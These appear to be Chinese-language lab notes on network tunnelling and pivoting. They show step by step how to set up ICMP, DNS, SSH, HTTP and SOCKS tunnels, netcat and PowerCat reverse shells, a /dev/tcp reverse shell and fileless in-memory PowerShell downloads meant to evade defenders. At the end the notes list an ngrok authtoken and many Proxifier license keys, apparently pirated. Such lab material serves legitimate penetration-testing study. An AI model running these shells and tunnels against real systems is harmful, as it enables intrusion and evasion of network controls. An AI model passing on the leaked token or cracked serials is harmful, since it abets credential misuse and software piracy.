常用的隧道
网络层:Ipv6、icmp、Gre隧道
传输层: Tcp 隧道、udp 隧道 常规端口转发
应用层: ssh隧道、http隧道、https隧道、dns隧道
kali<================================================>windows 2012<====================================================>java代码审计
192.168.139.140 192.168.139.143 192.168.139.144
ICMP隧道
icmpsh
环境配置
(使用python2环境)
下载安装环境:
apt-get install python3-impacket
git clone https://github.com/SecureAuthCorp/impacket
cd impacket
pip install -r requirements.txt
python setup.py install
关闭默认ICMP应答:
echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all
工具使用
在边界web服务器(21)(禁用icmp的服务器)使用如下命令:
python2 ./icmpsh_m.py ip(21) ip(目标主机ip)
python2 ./icmpsh_m.py 192.168.139.140 192.168.139.143
还是会提示我们安装库
这里是因为我们pip的版本为python3的,下载的impacket下载到python3中去了
所以使用get-pip.py来安装python2的依赖库(在我移动硬盘中tools中有)
执行
python2 -m pip install --upgrade pip
python2 -m pip install --upgrade setuptools
之后切换到impacket文件目录下,查看requirements.txt需要哪些配置文件
执行pip2 install -r ./requirements.txt会发现有一个报错,发现dsinternals需要的版本对不上
通过查看stackoverflow发现我们可以通过
pip2 install impacket==0.9.22来解决
最后发现其实是因为我们使用的python3安装的这个工具
使用下面把最开始的命令替换为python2的命令安装既可以避免错误
apt-get install python2-impacket
git clone https://github.com/SecureAuthCorp/impacket
cd impacket
pip2 install -r requirements.txt
python2 setup.py install
最后我们开始使用
python2 ./icmpsh_m.py 192.168.139.140 192.168.139.143
不报错即为正确,因为进入了监听状态
在windows server2012中
执行
icmpsh.exe -t ip(21) -d 500 -b 30 -s 128
icmpsh.exe -t 192.168.139.140 -d 500 -b 30 -s 1024
目标IP 请求包之间的延迟 多少条命令退出 包的最大长度
icmpsh.exe -t 192.168.139.140 -d 500 -b 30 -s 1024
这是回到kali中查看监听的情况,这种属于反向连接
证明使用ICMP
在kali的监听页面执行命令,使用wireshark抓包,查看icmp流量
这里可以看出来,我们执行的dir,是通过icmp执行过去的
Pingtunnel
原理
这三台电脑只能两两互通.所以2012起的是跳板服务;将kali的80端口转发给2012的4455所以windows10访问2012的4455就相当于访问的kali的80端口
把内网的80端口流量转发出来
配置环境
Pingtunnel
http://freshmeat.sourceforge.net/projects/ptunnel
tar xf PingTunnel-0.72.tar.gz
cd PingTunnel
make && make install
边界服务器上运行:ptunnel -x 123 123是密码
VPS运行:ptunnel -p 192.168.3.21 -lp 1080 -da 192.168.150.7 -dp 3389 -x 123
下载0.72版本并解压缩
进行编译
若报错
1.错误 configure: error: Neither flex nor lex was found.
apt install flex bison
2.缺少 pcap.h Wincap
wget http://www.tcpdump.org/release/libpcap-1.9.0.tar.gz
tar zxvf libpcap-1.9.0.tar.gz
cd libpcap-1.9.0
./configure
3.yacc包错误
sudo apt-get install -y byacc
./configure
make
sudo make install
4.ptunnel.h:70:13: fatal error: pcap.h: 没有那个文件或目录
apt-get install libpcap-dev
我的报错,以及解决,按顺序执行命令就好
最后成功编译
使用
kali端
边界服务器(kali):
直接使用H:\tools\Pingtunnel\pingtunnel_linux_amd64.zip
编译好的文件
命令为./pingtunnel -type server
kali充当服务器端
并开启你kali的80端口
service apache2 start
windows端
下载ptunnel的windows版本 服务器IP 连接方式
VPS运行:pingtunnel.exe -type client -l :4455 -s 192.168.139.140 -t 192.168.139.140:80 -tcp 1
监听所有IP的4455端口 被转发80端口的服务器
windows 2012充当客户端
传输层隧道
LCX服务器
使用lcx将server的80端口的流量转发到边界设备的4444端口
边界设备的4444端口仅接收来自于server的80端口的流量
边界设备将4444端口接收到的流量转发到本地的8080端口
任意一个访问8080端口的人就相当于访问server的80端口
操作流程
在server服务器上执行 如下命令 lcx.exe -slave 192.168.1.15 4444 127.0.0.1 80
上述命令将 server本地的80端口转发到192.168.1.15 下的4444端口
在边界设备上执行
在vps上监听:lcx.exe -listen 4444 8080
边界设备 监听4444端口 接收来自于服务器端的80端口的流量
8080 向外界提供 接收自4444端口的流量
效果: 任意访问边界设备的8080端口的流量 就相当于访问server 服务器端的80端口的流量
内网设备
IP地址为
执行命令
lcx.exe -slave <vps的ip> 8080 127.0.0.1 3389
(lcx程序)
vps设备
在vps上监听:lcx.exe -listen 4444 8080
攻击机
然后在本地计算机上远程登录ip(vps):8080。输入被转发的用户名密码即可登录内网的3389
NET CAT
NC 反向连接原理
客户端执行命令
NC 正向连接原理
服务端执行命令
正向连接
正向连接
正向连接是受害主机监听一个端口,由控制主机主动去连接受害主机的过程,适用于受害主机具有公网ip的情况下。例如下面,受害主机具有公网ip,被控主机kali可以通过ip地址访问到受害主机,所以能够使用正相连接来控制受害主机。
即:攻击机主动连接被攻击机
反向连接
什么时候进行反向shell?
1.某客户机中了你的网马,但是它在局域网内,你直接连接不了。
2.它的ip会动态改变,你不能持续控制。
3.由于防火墙等限制,对方机器只能发送请求,不能接收请求。
4.对于病毒,木马,受害者什么时候能中招,对方的网络环境是什么样的,什么时候开关机,都是未知,所以建立一个服务端,让恶意程序主动连接,才是上策。
反向连接是控制主机监听一个端口,由受害主机反向去连接控制主机的过程,适用于受害主机出网(或出网且没有公网ip)的情况。例如,受害主机是一台位于内网,并且没有公网ip且能访问互联网的主机,控制主机无法直接通过ip地址访问到受害主机。所以此时需要在控制主机上监听一个端口,让受害机主动连接控制主机,从而实现对控制主机的控制。
由于反向连接是被攻击者主动连接攻击者,所以不受防火墙策略的限制
即:被攻击机主动连接攻击机
在实战中,正向连接往往受限于被控主机上的防火墙屏蔽及权限不足等情况,而反向连接可以很好地突破这些限制
总结
如果被控主机出网,优先考虑使用反向连接
如果被控主机有公网ip又不出网,考虑使用正向连接
监听端口的为服务端
连接端口的为客户端
实验
NC反向连接
服务器端(攻击)
kali2021
客户端(被攻击)
windows server 2012
第一步:kali监听自己的8888端口
nc -lvp 8888
第二步:2012 去来连接kali的8888 端口
执行
nc -nv 192.168.139.140 8888 -e cmd.exe
第三步: kali的8888端口接收到2012的数据,可以执行命令
kali 2021 客户端
windows server 2012 服务端
第一步:2012监听自己的8888端口
执行
nv -lvp 8888
第二步:kali 去来连接2012的8888 端口
执行
nc -nv 192.168.139.143 8888 -c /bin/bash
第三步:2012的8888端口接收到kali的数据,可以执行命令
NC正向连接
服务器端(被攻击)
windows server2012
客户端(攻击)
kali 2021
服务器端开启一个端口
使用kali进行连接
服务器端(被攻击)
kali 2021
客户端(攻击)
windows server2012
服务器端开启一个端口
使用windwos server 2012进行连接
反弹shell生成器
https://www.ddosi.org/shell/
这里的IP和端口写客户端(被攻击)
第二步 sh -i >& /dev/tcp/192.168.139.140/8888 0>&1
在服务端进行端口监听
第一步 nc -lvnp 8888
PowerCat
-l 监听模式
-p 指定监听端口
-e 指定启动进程的名称
-v 显示详情
-c 指定想要连接的 IP 地址
-ep 返回 powershell
-dns 使用 dns 通信
-g 生成 payload
-ge 生成经过编码的 payload,可以直接使用 powershell
-e 执行该 payload
由于这个项目是在github上,所以我们使用
IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1')
该命令,连接不成功,
所以我们需要在kali中开启http服务,让windows服务进行连接
使用IEX这种命令行的动态下载的好处是,文件不落地,存放在内存中,可以预防蓝队的全磁盘哈希
kali开启服务
windows进行连接,powershell
IEX (New-Object System.Net.Webclient).DownloadString('http://192.168.139.140:8787/powercat.ps1')
连接成功
Windows作为目标主机进行正向连接
windows执行,超时时间很快尽快使用kali进行连接
powercat -l -v -p 8888 -e cmd.exe
kali执行
nc -nv 192.168.139.154 8888
目标主机的IP和端口
执行成功
Windows作为目标主机进行反向连接
Windows执行
powercat -c 192.168.139.140 -p 4444 -e cmd.exe -v
kali执行,nc监听
nc -lvp 4444
PowerCat作为跳板
原理
三台计算机两两互通,windows10进行连接windows7的6666端口,进行转发到自己的8000端口,这样处于外网的kali就可以通过windows10的IP加8000端口,相当于访问windows7的6000端口
实验
攻击机:kali 192.168.139.140
受害机:windows7 192.168.139.130 port 3333
跳板机:windows10 192.168.139.154 port 8000
受害机:windows7
powershell执行
IEX (New-Object System.Net.Webclient).DownloadString('http://192.168.139.140:8787/powercat.ps1')
powercat -l -v -p 3333 -e cmd.exe
跳板机:windows10
powershell执行
IEX (New-Object System.Net.Webclient).DownloadString('http://192.168.139.140:8787/powercat.ps1')
powercat -l -v -p 5555 -r tcp:192.168.139.130:3333
通过TCP协议转发目标主机的IP和端口
攻击机:kali2021
nc正向连接
nc -nv 192.168.139.154 5555
跳板机的IP与端口
成功连接
应用层隧道
Linux开启SSH服务
以root身份连接linux的ssh会发现会提示拒绝
这是因为安全问题,linux禁止了以root用户进行远程连接
所以我们要去更改配置
gedit /etc/ssh/sshd_config
取消注释,改为yes
保存退出,并重启ssh服务
重新尝试连接即可
实验(本地端口转发)
内网的主机(win7)C<============> 运行着ssh服务的主机(kali)B<==============> A attacker(win10)
192.168.139.130 192.168.139.140 192.168.139.154
本地端口转发是在B上执行命令,找C的
让attacker 能够访问到win7的80端口
使用ssh服务进行流量转发
在B上执行命令:ssh -CfNg -L 11111:192.168.200.135:80 root@192.168.200.132
-C compress 压缩
-f 将ssh转入后台执行,不占用当前的shell
-N 隐藏会话
-g 允许其他主机访问
目标主机
确认IP地址并开启80端口
中间机
ssh -CfNg -L 11111:192.168.200.135:80 root@192.168.200.132
ssh常见建立ssh隧道所用到的参数说明:
-C 压缩传输,加快传输速度。
-f 将ssh转入后台执行,不占用当前的shell -N 建立静默连接(建立了连接,但是看不到具体会话)
-g 允许远程主机连接到本地用于转发的端口
-L 本地端口转发
-R 远程端口转发
-D 动态转发(socks代理)
-p 指定ssh端口
本地端口:11111
目标主机IP和端口:192.168.200.135:80
因为要使用SSH服务所以需要登录到本地的SSH
攻击机
访问kali的11111端口就相当于访问目标主机的80端口
实验(远程端口转发)
内网的主机(win7)C<============> 运行着ssh服务的主机(kali)B<==============> A attacker(win10)
192.168.139.130 192.168.139.140 192.168.139.154
远程端口转发是在C上执行命令,去找B
在C上执行命令:ssh -g -R 8080:127.0.0.1:80 root@192.168.139.140
kali需要开启ssh服务
且注意,kali访问的地址是127.0.0.1:8080,而不能访问网卡的IP地址
在目标主机上执行
HTTP/HTTPS隧道
reGeorg
把tunnel.nosocket.php放到网站根目录下,访问看看是否正常
Windows10开启3389端口的监听
在kali中下载 urllib3依赖库
pip2 install urllib3
之后使用python2在reGeorg-master文件夹中执行
python2 reGeorgSocksProxy.py -p 8081 -u http://192.168.139.154/reGeorg-master/tunnel.nosocket.php
本地端口 目标主机的地址以及路径
但是我们发现没有结果,一直在转
是因为regeorgsocks做了全局流量转发
工具将目标主机的所有端口的流量都转发到了8080端口
所以我们需要进行配置一下
命令行执行
gedit /etc/proxychains4.conf
添加一条
socks4 127.0.0.1 8081
之后我们查看我们自己有没有开启3306端口
proxychains4 mysql -u root -p
相当于是什么原理呢,就是我们使用regeorgsocks做了全局流量转发,将所有的流量都转发到了8081端口,之后我们使用proxychains4进行一个流量挑选
之后使用rdesktop使用linux连接windows远程桌面
sudo apt-get update
sudo apt-get install rdesktop
rdesktop -u your_username -p your_password -g 1366x768 -a 16 192.168.1.2:3389
-u:指定Windows用户名。
-p:指定Windows用户密码。
-g:指定屏幕分辨率。
-a:指定颜色深度。
IP地址:端口:Windows机器的IP地址和RDP端口(默认为3389)。
例如:
rdesktop -u administrator -p Zz2002510! -g 1366x768 -a 16 192.168.139.154:3389
升级版reGeorg
首先进入kali在Neo-reGeorg-master文件夹中执行,生成文件,密码为自定义
python3 neoreg.py generate -k zzp
进入到neoreg_servers文件夹,找到tunnel.php,复制到目标主机的网站目录下
可以自己现在浏览器访问一下该php文件,出现下面的才是正常,否则请解决报错
在kali Neo-reGeorg-master 文件夹中执行
php文件的路径
python3 neoreg.py -k zzp -l 192.168.139.140 -u http://192.168.139.154/tunnel.php
密钥 设置本地网卡IP,默认为127.0.0.1
在另一台权限的win10开启proxifier
配置新的全局代理,指向kali的1080,选择socks5协议
rules让default生效,action为socks5协议
之后再开启,我们在这台win10访问的就是被上传tunnel.php的127.0.0.1,相当于我们所有的流量都是通过那台win10进行输出
大概原理
kali一直在做转发,才可以让我们访问到目标主机的端口
所以,我们访问带kali的1080端口之后显示走python3这条命令,转发给目标主机
我用我的话来叙述一遍流程
首先,把Neo-reGeorg-master这个文件夹放到服务器中,因为这个不自带连接脚本文件,所以需要我们自己先运行命令进行执行
这里我选择在kali中执行Neo-reGeorg,因为里面的python都是配好的
执行语句 python3 neoreg.py generate -k zzp,生成加密脚本
之后会在当前目录生成一个neoreg servers文件夹,里边是各种语言的加密脚本,选择符合我们内网服务器的脚本放入目标主机中,前提是kali可以访问到,这里我建议放到www目录下,因为开启apache服务,kali可以访问到脚本文件
kali在regeorg文件夹中执行如下语句
设置本地网卡IP,默认为127.0.0.1
python3 neoreg.py -k zzp -l 192.168.139.140 -u http://192.168.139.154/tunnel.php
密钥 php文件的路径
之后我们可以是使用proxychains4 进行kali全局代理
vim /etc/proxychains.conf
加上sock5 192.168.139.140 1080
之后即可在kali执行语句前加上
proxychains4 即可使用代理
也可以在windows使用proxifier
在profile中新建proxy servers
IP为kali的IP,端口为1080
协议选择sock5
最后去rules 查看action是否是sock5的
最后只需要在使用proxifier全局代理的电脑,访问一些端口(例:127.0.0.1)进行验证
DNS协议
安装ruby 2.6
安装不成功可以使用proxychains4
报错就多重复几次,编译的问题
$ cd dnscat2/server
$ su
# gpg --keyserver hkp://keys.gnupg.net --recv-keys 409B6B1796C275462A1703113804BB82D39DC0E3
# \curl -sSL https://get.rvm.io | bash
# source /etc/profile.d/rvm.sh
# rvm install 1.9 // 这一步我失败了5,6次
# rvm use 1.9 // 这一句不要带proxychains4
# bundle install
# ruby ./dnscat2.rb
ruby -v
安装成功
DNSCAT2
切换到目录下
cd dnscat2-master/server/
更新一下软件源
apt-get update
安装bundler
gem install bundler
bundle install
会得到这个命令,每个人的密钥不一样
./dnscat --dns server=192.168.139.136,port=53 --secret=37f5e515919adbf2e7ad51210e963bc2
如果选择ruby1.9版本
source /etc/profile.d/rvm.sh
rvm use 1.9
未完成
SOCKS代理
EarthWorm
win10 kali win11
192.168.139.154 192.168.139.140 192.168.1.187
http://rootkiter.com/EarthWorm/ 主页
实验
正向 SOCKS v5 服务器
kali执行如下命令
./ew_for_linux64 -s ssocksd -l 1080
在我们的win11使用proxifier使用socks5协议全局转发到1080端口
之后我们访问127.0.0.1,可以看出来我们代理成功
尝试ssh,试验成功
反弹 SOCKS v5 服务器
跳板机kali执行
./ew_for_linux64 -s rcsocks -l 1090 -e 8888
kali linux 监听1090 以及8888端口
其中1090 被用于proxifier的连接
8888 被用于内网主机流量转发
在内网win10主机执行
-s rssocks -d 192.168.200.134 -e 8888
将win10主机所在的流量转发给kali的192.168.200.134的8888端口
并在内网主机开启apache服务以便于一会验证
win11 主动连接192.168.139.140的1090端口 并将整体流量转发
可以从kali和windows监听窗口看见流量在一直走
FRP代理
官方中文文档
https://gofrp.org/zh-cn/docs/concepts/
下载对应版本的frp
实验
端口转发
kali2021<=========================================>win10<===========================================>win10渗透
192.168.139.140 192.168.139.154 192.168.139.148
22端口
客户端 服务端
需求
win10渗透想要访问kali 2021 的22端口
先配置windows 10 服务器端:
服务器监听7000端口 等待客户端连接
执行
frps.exe -c ./frps.toml
kali客户端
需要将frpc.toml配置文件中的
name改为ssh
IP地址改为服务端的
将本地的22转发到服务端的6000端口
在服务端,访问本地的6000端口,将相当于访问客户端的22端口
执行ssh root@127.0.0.1 -p 6000
连接成功
7000端口是指定服务器端与客户端的frp通信
6000端口是将客户端的22端口转发到服务器端的6000端口
端口复用
kali2021<=========================================>win10<===========================================>win10渗透
192.168.139.140 192.168.139.154 192.168.139.148
80端口
8787端口
客户端 服务器端
首先我们需要在服务器端配置frps文件
bindPort = 7000
vhostHTTPPort = 8080
运行frps.exe
执行frps.exe -c ./frps.toml
在客户端
第一步操作
修改frpc.toml
serverAddr = "192.168.139.154"
serverPort = 7000
[[proxies]]
name = "web"
type = "http"
localPort = 80
customDomains = ["www.zzp1.com"]
[[proxies]]
name = "web2"
type = "http"
localPort = 8787
customDomains = ["www.zzp2.com"]
第二步操作
开启第一个http server
执行
service apache2 start
开启另一个http服务
执行
python3 -m http.server 8788
开启客户端上的frpc
执行
./frpc -c ./frpc.toml
因为我们开启服务的端口只有8080端口,所以我们需要修改hosts文件来达到访问客户端不同端口的目的
不修改的话,访问本地的8080端口访问不到页面
修改服务端的hosts文件,修改为服务端的IP地址
尽量网址都写全,要不然会有莫名其妙的错误
多刷新几次,host生效较慢
NGROK
可以用在内网穿透
网址 https://dashboard.ngrok.com/get-started/setup/windows
ngrok目录中启动cmd执行ngrok config add-authtoken 2YWIa4MRj6rNrGL9qxvqTsc28xV_nKK85qjHRx5UrnkF8t1J
最后执行 ngrok http 80
切记需要我们本来有80端口
这样就可以复制到浏览器去访问
免费版会有这个提示,点visit即可
ngrok tcp 3389
标准(输入,输出,错误)流
0>&1
标准输入流 使用0代替
标准输出流 使用1代替
标准错误流 使用2代替
> 这里的意思为重定向
标准输出流的内容没有,所以此时的result.txt为空
标准错误流 直接打印
所以我们使用 > 将标准错误流中的内容重定向到标准输出流
端口转发原理
kali配置代理
vim /etc/proxychains4.conf
写入你的物理机IP,端口写clash的端口,协议使用http
以后你想使用梯子下载需要在前面打上
proxychains4
在linux中如何判断有什么用户可以登录
因为一般可以登陆的passswd文件后面都是/bin/bash,所以我们cat 查看,并使用grep正则查找末尾含有/bin/bash
cat /etc/passwd | grep -E \/bin\/(bash | sh)
proxifier(超核心)
standard(标准版)
4MHDA-C3FNN-EV6YH-ZENEQ-5A2CP
YHAEF-HWLHS-CQR2A-ZENEQ-35H26
987NH-LYFSC-L4V37-PWN3R-PWE7F
CVYAW-WWVJD-8LA2Y-PWN3R-CZA82
TET7R-EY3CC-4E43T-H0NUS-XQCS9
G8E33-937CU-WM3YE-H0NUS-W236X
NRNQ9-KWN42-PSU2N-CYBER-HCEB7
GG2U7-5WH8W-TZF22-CYBER-BGTY3
S4EMQ-NYMZF-LFT3E-ARSEN-SNZLF
ATV34-T2W3Y-WHNWV-ARSEN-AJJ4L
5EZ8G-C3WL5-B56YG-SCXM9-6QZAP
portable(便携版即免安装版)
YYEQ8-PYURB-PVJ3E-ZENEQ-6KCYC
V4FRJ-JYBNC-X4P3F-ZENEQ-G5YNE
L6Z8A-XY2J4-BTZ3P-ZZ7DF-A2Q9C
macos
87PZC-V3C3H-GTLYP-ZENEQ-2GJLT
NBBCX-D242M-F97WB-ZENEQ-7VH3H
P427L-9Y552-5433E-8DSR3-58Z68
Views: 20